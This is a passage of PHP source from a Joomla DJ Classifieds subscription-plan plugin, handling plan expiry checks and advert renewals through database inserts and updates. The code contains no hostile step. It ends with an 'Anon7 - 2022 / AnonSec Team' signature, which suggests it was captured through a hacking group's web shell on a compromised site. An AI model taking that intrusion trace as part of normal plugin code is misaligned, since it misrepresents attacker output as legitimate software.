				$registry->loadString($plan->plan_params);
				$plan_params = $registry->toObject();

				if($plan_params->duration == '-1'){
					if($plan->date_exp > $row->date_exp){
						$row->date_exp = $plan->date_exp;
					}else{
						$app->enqueueMessage(JText::_('PLG_DJCLASSIFIEDS_PLANS_SUBSCRIPTION_EXP_DATE_NEEDS_TO_BE_HIGHER'), 'warning');
						$app->redirect(JRoute::_(DJClassifiedsSEO::getViewUri('renewitem').'&id='.$row->id.'&subscr_id='.$subscr_id, false));
					}
				}
			}
		}
	}

	function onAfterDJClassifiedsRenewAdvert(&$row, &$par)
	{
		if($this->params->get('ps_renew', '0') == '0'){
			return;
		}
		
		$app = JFactory::getApplication();
		$user = JFactory::getUser();
		$db = JFactory::getDBO();
		$subscr_id = $app->input->getInt('subscr_id', 0);

		if($subscr_id){
			$plan = self::getUserSub($user->id, $subscr_id);
			if($plan && $plan->adverts_available && ($plan->date_exp == '0000-00-00 00:00:00' || $plan->date_exp > JFactory::getDate()->toSQL())){
				$query = "INSERT INTO #__djcf_plans_subscr_items_renew (`subscr_id`,`item_id`) " 
						."VALUES (".$subscr_id.",".$row->id.")";
				$db->setQuery($query);
				$db->execute();
				
				$query = "UPDATE #__djcf_plans_subscr SET adverts_available = adverts_available-1 "
						."WHERE id=".$subscr_id;
				$db->setQuery($query);
				$db->execute();
			}
		}
	}
}

Anon7 - 2022
AnonSec Team